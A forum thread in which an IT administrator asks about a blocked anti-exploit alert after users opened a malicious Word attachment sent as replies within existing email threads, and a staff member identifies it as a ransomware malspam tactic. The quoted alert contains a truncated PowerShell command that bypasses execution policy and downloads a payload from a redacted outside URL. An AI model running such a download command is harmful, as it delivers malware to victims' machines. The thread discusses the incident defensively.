SCL Posted August 31, 2017 ID:1159082 Share Posted August 31, 2017 We have gotten AE alerts before. Usually harmless. However this morning multiple malicious emails came into the organization, all from same sending, and 2 users opened the attachment (word doc). I received alert below: 8/31/2017 7:00:09 AM Computer18 10.10.1.125 Exploit payload process blocked BLOCK C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -nop -Exec Bypass -Command (New-Object System.Net.WebClient).DownloadFile('http:\*******************.com\okas\kunkd.dat', $env:APPDATA + '\pP... Computer name and url changed. It looks like the word doc likely had a macro that triggered this but here is the weird thing (and maybe it isn't weird and I just haven't seen it yet). The users here who received emails all received a different email (with bad file attached) that was a reply to previous email conversations. I've not seen that before. The body of each email was the same but was phrased in a way that fooled multiple users, due to language that is pretty spot on for our industry. Can anyone tell me what this is that was blocked, and if the particular of the email being a reply to a previous email is new? Malwarebytes Anti-Exploit.zip Link to post Share on other sites More sharing options...
Staff pbust Posted August 31, 2017 Staff ID:1159088 Share Posted August 31, 2017 That's one of the tactics the latest ransomware malspam campaigns are using. That's a legit block of an attack. It was blocked before the powershell payload could even run (and before the ransomware was even attempted to be downloaded into the endpoints). Link to post Share on other sites More sharing options...
SCL Posted August 31, 2017 Author ID:1159128 Share Posted August 31, 2017 Thanks Pedro. I have to say- no amount of user training is going to beat this. It was shockingly good. Going to have to continue improving protections. If this becomes the norm, its a whole new ball game. Absolutely none of the typical signs of it being false. Link to post Share on other sites More sharing options...
Staff pbust Posted August 31, 2017 Staff ID:1159129 Share Posted August 31, 2017 Yes, I know. All efforts lately by the bad guys are focusing on malspam tricks. Make sure anti-exploit is turned on. Related reading: https://blog.malwarebytes.com/threat-analysis/2017/08/locky-ransomware-adds-anti-sandbox-feature/ Stay safe! Link to post Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now